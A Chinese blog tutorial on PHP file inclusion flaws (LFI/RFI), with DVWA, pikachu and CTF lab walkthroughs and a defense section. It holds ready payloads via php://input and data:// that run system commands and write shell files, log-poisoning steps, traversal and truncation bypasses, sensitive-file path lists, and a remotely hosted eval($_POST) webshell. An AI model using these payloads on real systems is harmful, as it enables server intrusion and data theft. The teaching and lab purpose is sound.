Web安全之文件包含漏洞

文件包含漏洞(LFI、RFI)(require()、include()函数) 文章目录一、文件包含漏洞二、文件包含函数二、文件包含漏洞实例“百度杯”CTF比赛 2017 二月场include 一、文件包含漏洞 文件包含漏洞,是程序员在网站设计中,为方便自己在设计构架时,使用了一些包含的函数,在文件中,包含一个文件。 服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当PHP来执行,这会为开发者节省大量的时间。 这意味着可以创建供所有网页引用的标准页眉或菜单文件。 当页眉需要更新时,只更新一个包含文件就可以了,或者当向网站添加一张新页面时,仅仅需要修改一.. 阅读详情

一、文件包含漏洞概述

1、漏洞介绍

程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,这种文件调用的过程一般被称为文件包含。程序开发人员一般希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。

在通过PHP的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,导致意外的文件泄露甚至恶意的代码注入。

动态包含

在使用文件包含的时候,为了更灵活的包含文件,将文件包含的名字处设置为变量,而这个变量是通过GET方式来获取的值,这样既可通过前端所输入的文件名进行包含对应的文件。

2、漏洞产生原因

程序没有对文件的来源进行严格的审查,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码,也就是程序员在编写代码的时候触犯的逻辑性的错误,就可能会导致文件读取漏洞和其它类型的漏洞

PHP中文件包含函数有以下四种:

require() # require()与include()的区别在于require()执行如果发生错误,函数会输出 错误信息,并终止脚本的运行。
require_once() # 功能与Include()相同,区别在于当重复调用同一文件时,程序只调用一次
include() # 当使用该函数包含文件时,只有代码执行到 include()函数时才将文件包含 进来,发生错误时之给出一个警告,继续向下执行。
include_once() # 功能与require()相同,区别在于当重复调用同一文件时,程序只调用一次

包含函数

PHP常见的导致文件包含的函数如下:include(),include_once(),require(),require_once(),fopen(),readfile() 当使用前4个函数包含一个新的文件时,只要文件内容符合PHP语法规范,那么任何扩展名都可以被PHP解析。包含非PHP语法规范源文件时,将会暴露其源代码。

3、漏洞分类及其区别

远程包含与本地包含

远程文件包含,需要php.ini开启了allow_url_fopen和allow_url_include的配置。包含的文件是第三方服务器的文件。

本地文件包含的含义就是包含本地服务器的文件

远程与本地包含的区别

本地文件包含就是通过浏览器包含web服务器上的文件,这种漏洞是因为浏览器包含文件时没有进行严格的过滤允许遍历目录的字符注入浏览器并执行。

远程文件包含就是允许攻击者包含一个远程的文件,一般是在远程服务器上预先设置好的脚本。此漏洞是因为浏览器对用户的输入没有进行检查,导致不同程度的信息泄露、拒绝服务攻击,甚至在目标服务器上执行代码。

本地文件包含与远程文件有着相同的原理,但前者只能包含服务器上存在的文件,而后者可以包含远程服务器上的文件。

4、文件包含漏洞危害

1、读取web配置文件以及敏感的数据

2、web服务器的文件被外界浏览导致信息泄露;

3、与文件上传漏洞组合getshell,将恶意代码执行解析

一般来说,远程文件包含漏洞危害更大

二、文件包含漏洞利用

1、伪协议利用

file://
http://
php://

仅能够对服务器本地的文件进行包含,由于服务器上的文件并不是攻击者所能够控制的,因此该情况下,攻击着更多的会包含一些 固定的系统配置文件,从而读取系统敏感信息。很多时候本地文件包含漏洞会结合一些特殊的文件上传漏洞,从而形成更大的威力。

PHP 提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符, 内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器

1、php://input

说明:用来接收POST数据。我们能够通过input把我们的语句输入上去然后执行。

条件:

php <5.0 ,allow_url_include=Off 情况下也可以用

php > 5.0,只有在allow_url_fopen=On 时才能使用

例1 :增加一句话:

背景:结果将在file.php所在文件下的文件shell.php内增加"<?php phpinfo();?>"一句话。

URL:

http://localhost/include/file.php?file=php://input

POST:

<?php fputs(fopen("shell.php","a"),"<?php phpinfo();?>") ?>

例2:增加文件

背景:通过fopen参数为w,可新建一个文件,并在新建的文件shell.php中写入<?php phpinfo();?>

URL:

http://localhost/include/file.php?file=php://input

POST:

<?php fputs(fopen("shell.php","w"),"<?php phpinfo();?>") ?>

例3:执行系统命令

背景:通过php的系统执行函数,将执行命令写入到文件中,并且执行系统命令

URL:

http://localhost/include/file.php?file=php://input

POST:

<?php system('ipconfig');?>

2、data://

说明:

这是一种数据流封装器,data:URI schema(URL schema可以是很多形式)

利用data://伪协议进行代码执行的思路原理和php://是类似的,都是利用了PHP中的流的概念,将原本的include的文件流重定向到了用户可控制的输入流中

条件:

allow_url_include=Onphp > 5.2

例1:文字命令

背景:使用了base64加密的内容

Payload:​​​​​​​

http://localhost/file.php?file=data:text/plain,<?php system(whoami)?>http://localhost/file.php?file=data:text/plain;base64,PD9waHAgc3lzdGVtKHdob2FtaSk/Pg==

例2 图片命令:

背景:后面加上图片木马

Payload:

http://localhost/image.php?imagedata=data://image/jpeg;base64,.....

data://手册:http://www.php.net/manual/zh/wrappers.data.php

3、php://filter

:这个语句用来查看源码。直接包含php文件时会被解析,不能看到源码,所以用filter来读取,不过要先base64加密传输过来:

Payload:

http://localhost/file.php?file=php://filter/read=convert.base64-encode/resource=C:\oneword

(绝对路径)

http://localhost/file.php?file=php://filter/read=convert.base64-encode/resource=../../oneword

(相对路径)

http://localhost/file.php?file=php://filter/read=convert.base64-encode/resource=[http|https|ftp]://www.bbb.com/

《php:// 》:http://php.net/manual/zh/wrappers.php.php手册

包含日志文件

说明:比如Web服务器的访问日志文件,这是一种通用的技巧。因为几乎所有网站都会将用户的访问记录到访问日志中。因此,攻击者可以向Web日志中插入PHP代码,通过文件包含漏洞来执行包含在Web日志中的PHP代码。下面的案例中就是利用该技巧成功获取到目标网站的WebShell的。但需要注意的是,如果网站访问量大的话,日志文件可能会非常大,这时如果包含一个这么大的文件时,PHP进程可能会卡死。一般网站通常会每天生成一个新的日志文件,因此在凌晨时进行攻击相对来说容易成功。

日志默认路径

apache+Linux日志默认路径

/etc/httpd/logs/access_log/var/log/httpd/access_log

apache+win2003日志默认路径

D:xamppapachelogsaccess.log
D:xamppapachelogserror.log

IIS6.0+win2003默认日志文件

C:WINDOWSsystem32Logfiles

IIS7.0+win2003 默认日志文件

%SystemDrive%inetpublogsLogFiles

nginx 日志文件在用户安装目录的logs目录下

如安装目录为/usr/local/nginx,则日志目录就是在/usr/local/nginx/logs里

也可通过其配置文件Nginx.conf,获取到日志的存在路径(/opt/nginx/logs/access.log)

例1 :包含日志一句话

背景:日志会记录客户端请求及服务器响应的信息,访问http://www.xx.com/<?php phpinfo(); ?>时,<?php phpinfo(); ?>也会被记录在日志里,也可以插入到User-Agent,但是请求的信息有可能被url编码之后记录日志,这里可以通过burp来发送请求包来防止被编码,通过相对路径找到日志文件,用webshell工具连接即可

Payload:

http://localhost/include/file.php?file=../../apache/logs/access.log

4、file://

用于访问本地文件系统,通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响。include()/require()/include_once()/require_once()参数可控的情况下,如导入为非.php文件,则仍按照php语法进行解析,这是include()函数所决定的。

  • file://文件系统是 PHP 使用的默认封装协议,展现了本地文件系统。当指定了一个相对路径(不以/、、\或 Windows 盘符开头的路径)提供的路径将基于当前的工作目录。在很多情况下是脚本所在的目录,除非被修改了。使用 CLI 的时候,目录默认是脚本被调用时所在的目录。在某些函数里,例如fopen()和file_get_contents(),include_path会可选地搜索,也作为相对的路径。

  • 用法:

    /path/to/file.ext
    relative/path/to/file.ext
    fileInCwd.ext
    C:/path/to/winfile.ext
    C:\path\to\winfile.ext
    \\smbserver\share\path\to\winfile.ext
    file:///path/to/file.ext
  • 示例:

    文件的相对路径和文件名

    http://127.0.0.1/include2.php?file=./phpinfo.txt

    file://[文件的绝对路径和文件名]

    http://127.0.0.1/include2.php?file=file://D:\phpStudy\PHPTutorial\WWW\phpinfo.txt

    http://网络路径和文件名

    http://127.0.0.1/include2.php?file=http://127.0.0.1/phpinfo.txt
    

实操一题:

某题目

check me 点击后就是这样

不晓得包含的哪些配置文件

http://4.chinalover.sinaapp.com/web7/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

读源码,回显的源码经过base64编码,所以要解码后才能读到源码,flag就在里面了​​​​​​​

<html><title>asdf</title>    <?phperror_reporting(0);if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}$file=$_GET['file'];if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){echo "Oh no!";exit();}include($file); //flag:nctf{edulcni_elif_lacol_si_siht}?></html>

2、文件包含漏洞绕过

00字符截断(PHP<5.3.4)

PHP内核是由C语言实现的,因此使用了C语言中的一些字符串处理函数。在连接字符串时,0字节(x00)将作为字符串的结束符。所以在这个地方,攻击者只要在最后加入一个0字节,就能截断file变量之后的字符串

../etc/passwd

通过web输入时,只需UrlEncode,变成:

../etc/passwd%00

字符串截断的技巧,也是文件包含中最常用的技巧

防御方法:

在一般的web应用中,0字节用户其实是不需要的,因此完全可以禁用0字节

超长字符截断

采用00字符过滤并没有完全解决问题,

利用操作系统对目录最大长度的限制,可以不需要0字节而达到截断的目的。

http://www.ibm.com/developerworks/cn/java/j-lo-longpath.html

我们知道目录字符串,在window下256字节、linux下4096字节时会达到最大值,最大值长度之后的字符将被丢弃。

而利用"./"的方式即可构造出超长目录字符串:

除了incldue()等4个函数之外,PHP中能够对文件进行操作的函数都有可能出现漏洞。虽然大多数情况下不能执行PHP代码,但能够读取敏感文件带来的后果也是比较严重的。例如: fopen()、fread()

任意目录遍历

除了这种攻击方式,还可以使用"../../../"这样的方式来返回到上层目录中,这种方式又被称为"目录遍历(Path Traversal)"。常见的目录遍历漏洞,还可以通过不同的编码方式来绕过一些服务器端的防御逻辑(WAF)

防御方法:

目录遍历漏洞是一种跨越目录读取文件的方法,但当PHP配置了open_basedir时,将很好地保护服务器,使得这种攻击无效。

open_basedir的作用是限制在某个特定目录下PHP能打开的文件(有点像chroot的感觉)

比如在没有设置open_basedir时,文件包含漏洞可以访问任意文件。

当设置了open_basedir时,则包含文件失败。

问号截断

如果路径的后半段都定死了,但是结合HTTP传参的原理可以绕过去

攻击者可以构造类似如下的攻击URL:

http://localhost/FIleInclude/index.php?path=http://localhost/test/solution.php?

产生的原理:

/?path=http://localhost/test/solution.php?

最终目标应用程序代码实际上执行了:

require_once "http://localhost/test/solution.php?/action/m_share.php";

(注意,这里很巧妙,问号"?"后面的代码被解释成URL的querystring,这也是一种"截断"思想,和%00一样)

攻击者可以在http://localhost/test/solution.php上模拟出相应的路径,从而使之吻合

三、常见的敏感信息路径

Windows系统

c:\boot.ini // 查看系统版本

c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件

c:\windows\repair\sam // 存储Windows系统初次安装的密码

c:\ProgramFiles\mysql\my.ini // MySQL配置

c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码

c:\windows\php.ini // php 配置信息

Linux/Unix系统

/etc/passwd // 账户信息

/etc/shadow // 账户密码文件

/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件

/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置

/usr/local/app/php5/lib/php.ini // PHP相关配置

/etc/httpd/conf/httpd.conf // Apache配置文件

/etc/my.conf // mysql 配置文件

四、防御思路

1、无需情况下设置(在php.ini文件中)allow_url_include和allow_url_fopen为关闭,或者最小权限化

2、对可以包含的文件进行限制,可以使用白名单的方式,或者设置可以包含的目录,如open_basedir

3、尽量不使用动态包含

4、严格检查变量是否已经初始化。

5、严格检查输入的地址,不允许出现目录跳转符。尝试对所有输入提交可能可能包含的文件地址,包括服务器本地文件及远程文件,进行严格的检查,参数中不允许出现../之类的目录跳转符。

6、严格检查include类的文件包含函数中的参数是否外界可控。

7、不要仅仅在客户端做数据的验证与过滤,关键的过滤步骤在服务端进行。

8、在发布应用程序之前测试所有已知的威胁。

三个方面具体解释:

过滤特殊符号

在进行文件包含的时候我们可能经常会用到几个固定的字符,或者我们在用伪协议的时候我们也会使用特定的字符,例如:\,//,input,output,filter等我们可以将这些铭感字符都给过滤掉。代码如下

指定包含的文件 (白名单)

我们在做网站开发的时候我们可能经常会使用我们文件包含的函数,但是我们呢包含的文件都是我们指定的文件,也就是我们知道我们需要包含什么文件。这样,我们在包含文件的时候就可以添加一条规则,让我们只能包含指定的文件,如果我们包含了非指定的文件,程序就会报错退出

文件目录

php的配置文件中有open_basedir选项可以设置用户需要执行的文件目录,如果设置文件目录的话,我们编写的脚本只会在该目录中搜索文件,这样我们就可以把我们需要包含的文件放到这个目录就可以了,从而也避免了敏感文件的泄露

DVWA文件包含漏洞靶场

File Inclusion,意思是文件包含(漏洞),是指当服务器开启alLow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行

low

源码分析

点击下面的三个链接,服务器会包含相应的文件,并将结果返回

修改URL:http://127.0.0.1/dvwa/vulnerabilities/fi/?page=D:\phpstudy\PHPTutorial\WWW\DVWA\php.ini

我们再尝试一下包含一个phpinfo.txt文件,内容为<?php phpinfo();?>需要特别说明的是,服务器包含文件时,不管文件后缀是否是php,都会尝试当做php文件执行,如果文件内容确为php,则会正常执行并返回结果,如果不是,则会原封不动地打印文件内容,所以文件包含漏洞常常会导致任意文件读取与任意命令执行

Medium

str_replace() //将参数中的http:// https:// ../ ..\都替换成空,很明显可以双写绕过这个

相当于做了一些过滤操作了,禁止目录跳转字符和http/https协议

http://127.0.0.1/dvwa/vulnerabilities/fi/?page=D:\phpstudy\PHPTutorial\WWW\DVWA\php.ini

那如果我不知道具体目录,肯定不能按照上面这个写法来弄,但可以做双写绕过

http://127.0.0.1/dvwa/vulnerabilities/fi/?page=hthttp://tp://127.0.0.1/phpinfo.php

同理,…/./,过滤后变成../

High

//文件名必须以file开始,或只能为include.php

file协议

什么是File:File协议主要用于访问本地计算机中的文件,就如同在Windows资源管理器中打开文件一样。

如何使用File:要使用File协议,基本的格式如下:file:///文件路径,比如要打开F盘flash文件夹中的1.swf文件,那么可以在资源管理器或浏览器地址栏中输入:file:///f:/flash/1.swf回车。

High级别的代码规定只能包含file开头的文件,看似安全,不幸的是我们依然可以利用file协议绕过防护策略。file协议其实我们并不陌生,当我们用浏览器打开一个本地文件时,用的就是file协议,构造如下URL

http://127.0.0.1/DVWA/vulnerabilities/fi/?page=file:///D:\phpstudy\PHPTutorial\WWW\DVWA\php.ini

impossbile

//file变量只能为include.php、file1、file2、file3其中一个

Impossible级别的代码使用了白名单机制进行防护,简单粗暴,page参数必须为“include.php”、“file1.php”、“file2.php”、“file3.php”之一,彻底杜绝了文件包含漏洞。

pikachu文件包含漏洞靶场

本地文件包含

http://127.0.0.1/pikachu/vul/fileinclude/fi_local.php?filename=file1.php&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

修改为:

http://127.0.0.1/pikachu/vul/fileinclude/fi_local.php?filename=../../../../phpinfo.php&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

成功包含

远程文件包含

先看看url:

http://127.0.0.1/pikachu/vul/fileinclude/fi_remote.php?filename=include%2Ffile1.php&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2#

复现步骤:

1:使用kali来做远程主机 2:在kali的/var/www/html/目录下新建phpinfo.txt

cd /var/www/html/
vim phpinfo.txt
<?php phpinfo(); ?> <?php @eval($_POST['wx']); ?>
systemctl start apache2.service 
systemctl status apache2.service

访问kali,没问题

http://127.0.0.1/pikachu/vul/fileinclude/fi_remote.php?filename=http://192.168.142.128/phpinfo.txt&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2#

OK

 

`黑客&网络安全如何学习

今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。

1.学习路线图

攻击和防守要学的东西也不少,具体要学的东西我都写在了上面的路线图,如果你能学完它们,你去就业和接私活完全没有问题。

2.视频教程

网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。

内容涵盖了网络安全法学习、网络安全运营等保测评、渗透测试基础、漏洞详解、计算机基础知识等,都是网络安全入门必知必会的学习内容。

(都打包成一块的了,不能一一展开,总共300多集)

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

3.技术文档和电子书

技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本,由于内容的敏感性,我就不一一展示了。

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

4.工具包、面试题和源码

“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。

还有我视频里讲的案例源码和对应的工具包,需要的话也可以拿走。

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

最后就是我这几年整理的网安方面的面试题,如果你是要找网安方面的工作,它们绝对能帮你大忙。

这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的,如果大家有好的题目或者好的见解欢迎分享。

参考解析:深信服官网、奇安信官网、Freebuf、csdn等

内容特点:条理清晰,含图像化表示更加易懂。

内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

文件包含漏洞详解 大多数情况下,文件包含函数中包含的代码文件是固定的,如上面中的include "./info.php"直接是写死了,因此也不会出现安全问题。但是,有些时候,文件包含的代码文件被写成了一个变量,且这个变量可以由前端用户传进来,这种情况下,如果没有做足够的安全考虑,则可能会引发文件包含漏洞。上面说了文件包含漏洞的成因是因为代码实现了动态包含且包含的路径可控,于是我们将代码进行修改为动态传参的一种方式,建立文件index.php,文件内容如下。文件包含是PHP 的基本功能之一,有本地文件包含和远程文件包含之分。 阅读详情

相关推荐

LSTM cell结构的理解和计算

LSTM是传统RNN网络的扩展,其核心结构是其cell单元,网上LSTM的相关资料繁多,质量参差不齐,下面主要结合LSTM神经网络的详细推导和 Christopher Olah的blog两篇文章中的内容进行说明。主要介绍网络如何计算,为何这么算先不展开:)。前者一副图加上29个公式,简洁明了;后者娓娓道来,适合初学者。首先是LSTM cell最常见的结构图: 这是变形的版本(找不到更清晰的版本了),

songhk0209的博客 2万+

Web漏洞之文件包含漏洞

公众号:黑客菌 分享更多技术文章,欢迎关注一起探讨学习 一、文件包含漏洞概述 1、漏洞介绍 程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,这种文件调用的过程一般被称为文件包含。程序开发人员一般希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。 在通过PHP的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,导致意外的文件泄露甚.

zkaqlaoniao的博客 7401

Kriging代理模型理论相关推导

代理模型,Kriging,加点准则

森屹的博客 1万+

Web安全领域的探索之远程文件包含漏洞(LFI)

Web安全领域的探索之远程文件包含漏洞(LFI)

Innocence_0的博客 1770

STM32C8T6HAL库实战:MAX30102心率血氧检测与OLED多级菜单一体化方案

本文详细介绍了基于STM32C8T6和HAL库的MAX30102心率血氧检测与OLED多级菜单一体化方案。内容涵盖硬件连接、CubeMX工程配置、传感器驱动移植、数据滤波算法、OLED显示驱动以及高效的多级菜单系统设计,旨在提供一个稳定、实用且易于移植的嵌入式健康监测项目参考。

weixin_29256771的博客 398

Vue3 视频播放器完整指南 – @videojs-player/vue 从入门到精通

全面解析 Vue3 生态中最强大的视频播放解决方案 @videojs-player/vue。从基础安装到高级功能,涵盖自动播放、直播流、字幕支持等核心特性。提供完整的代码示例和最佳实践,助你快速构建专业的视频播放应用。

前端开发-前端技术分享 1428

Web安全漏洞分析—文件包含

写入PHP文件 (allow_url include:on)http://127.0.0.1/include/03/index.php?访问: http://127.0.0.1/include/03/index.php?/usr/local/app/apache2/conf/httpd.conf //apache2配置文件。/usr/local/app/php5/lib/php.ini //php设置。

qq_61861243的博客 2448

高性能算力中心 — RDMA — Overview

目录 文章目录目录RDMA基于以太网的 RoCE/RDMA 计算优化NVMeNVMe Over Fabrics基于以太网的 NVMe 存储优化 RDMA RDMA(Remote DMA,远程直接内存访问)是一种新的内存访问技术,RDMA 让计算机可以直接存取其他计算机的内存,而不需要经过 CPU 耗时的处理。RDMA 将数据从一个系统快速移动到远程系统存储器中,而不对操作系统造成任何影响。RDMA 技术的原理及其与 TCP/IP 架构的对比如下图所示。 InfiniBand(IB):从一开始就支持 R

烟云的计算 2367

Web安全实战系列:文件包含漏洞

转自https://www.freebuf.com/articles/web/182280.html 留给自己看

qq_46184013的博客 523

PyTorch深度学习实战(24)——使用U-Net架构进行图像分割

图像分割 (Image segmentation) 是计算机视觉领域中的一个重要任务,旨在将图像划分为具有语义信息的不同区域或对象。与目标检测任务不同,图像分割要求像素级别的精确定位和分类,将每个像素标记为属于哪个类别或属于哪个区域。在本节中,我们将介绍图像分割的基本概念,并训练一个基于 U-Net 架构的图像分割模型。

盼小辉丶的博客 1万+

VN5620以太网测试——环境搭建篇

CANoe(CAN open environment)VN5620 :是一个紧凑而强大的接口,用于以太网网络的分析、仿真、测试和验证。VN5620 接口支持各种可能的应用。它适用于与其他总线系统、网络参与(例如在模拟和生成帧、测试中的负载和错误)的同步以太网监控。在2021年Vector公司的以太网接口卡VN5610和VN5640设备已经陆续停产,相应被VN5620和VN5650代替。

诊断协议那些事儿's blog 8937

从零开始学Web安全,文件包含漏洞详解

和sql注入等攻击方式一样,文件包含漏洞也是一种注入型漏洞,其本质就是输入一段用户能够控制的脚本或者代码,让服务端执行。包含:把可重复使用的函数写入到单个文件中,在使用该函数时,直接调用此文件,而无需再次编写函数,这一过程叫做包含。有时候由于网站功能需求,会让前端用户选择要包含的文件,而开发人员有没有对要包含的文件进行安全考虑,攻击者就可以通过构造恶意的文件路径参数来执行任意的代码。LFI本地文件包含漏洞是指攻击者能够利用应用程序的漏洞,直接访问并执行服务器上的文件。

xt350488的博客 1887

如何使用Github创建一个完全免费的个人网站

摘要: 本文详细介绍如何利用Github Pages免费搭建个人静态网站,适合零基础用户。首先需注册Github账号并创建特定命名的仓库(格式:用户名.github.io),然后通过网页或命令行创建index.html文件作为网站首页。完成后可通过"仓库设置- Pages"获取网站链接。文章还包含GitHub Desktop的安装使用、代码提交指南及常见问题自检方法,并说明即使Github被墙也可迁移至国内平台(如码云)。整个过程无需编程基础,仅需15分钟即可完成基础网站搭建。

安德洛夫 1514

【web安全】——文件包含漏洞

文件包含漏洞详解,持续更新中

Demo不是emo的博客 2万+

复分析 阿尔福斯(Ahlfors) 第三版答案 英文

答案分为十章,有部分习题没有答案,全英文复分析阿尔福斯(Ahlfors) 第三版答案

华为的C语言编程规范.pdf

华为技术有限公司内部技术规范。本规范制定了编写C语言程序的基本原则、规则和建议。从代码的清晰、简洁、可测试、安全、程序效率、可移植各个方面对C语言编程作出了具体指导。

E055-web安全应用-File Inclusion文件包含漏洞初级

网站服务器通过php的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件。

轻舟已过万重山 1272

lwip-2.0.3

lwip是瑞典计算机科学院(SICS)的Adam Dunkels 开发的一个小型开源的TCP/IP协议栈。实现的重点是在保持TCP协议主要功能的基础上减少对RAM 的占用。

WEB安全之文件包含漏洞(1)

WEB安全之文件包含漏洞

2301_81685556的博客 1335

IEM模型,地表粗糙度模拟

利用微波反演土壤水分时候,利用IEM模型可以实现对随机地表的模拟

E056-web安全应用-File Inclusion文件包含漏洞进阶

当网站服务器通过php的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件。恶意文件可能是一句话木马也可能是含有一句话木马的文档或者图片,只要访问页面就会在当前页面源文件目录下生成一句话木马。 PHP文件包含漏洞,就是在通过函数包含文件时,由于没有对包含的文件名进行有效的过滤处理,被攻击者利用从而导致了包含了Web根目录以外的文件进来,就会导致文件信息的泄露甚至注入了恶意代码

轻舟已过万重山 1096

Web 安全漏洞详解:文件包含与伪协议利用

什么是文件包含?文件包含(导包)是Web开发中常用的一种技术,也是一种常见的Web安全漏洞,旨在通过引入外部文件来复用代码,减少代码的冗余。然而,当文件包含功能被不当地使用时,就可能成为安全漏洞,允许攻击者执行恶意代码或访问敏感信息。几乎所有的脚本语言中都会提供文件包含的功能,但文件包含漏洞在PHP居多,在其他语言中十分少甚至没有,问题在于该语言设计的弊端。python虽然可以导包,只可以导入py文件在PHP中 导入的文件不管什么类型,只要文件里包含了php'代码,直接调用执行。

diudiu_33的博客 810

【web安全】文件包含漏洞

该篇文章主要介绍一下文件包含漏洞的概念,成因,防御手法和一些攻击思路以及攻击方法。

weixin_67259816的博客 1752

Web安全文件包含漏洞,漏洞分类区别和危害及利用。

程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,这种文件调用的过程一般被称为文件包含。程序开发人员一般希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。在通过PHP的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,导致意外的文件泄露甚至恶意的代码注入。动态包含。

logic1001的博客 1257

Web安全之文件包含漏洞详解

PHP文件包含会将一切的文件当成PHP脚本执行

hack0919的博客 725
上一篇: 我想学网络安全,但是没基础,请问学安全要先学什么?
下一篇: k8s安全学习
程序员_大白
博客等级 码龄5年 1万+粉丝 4001原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值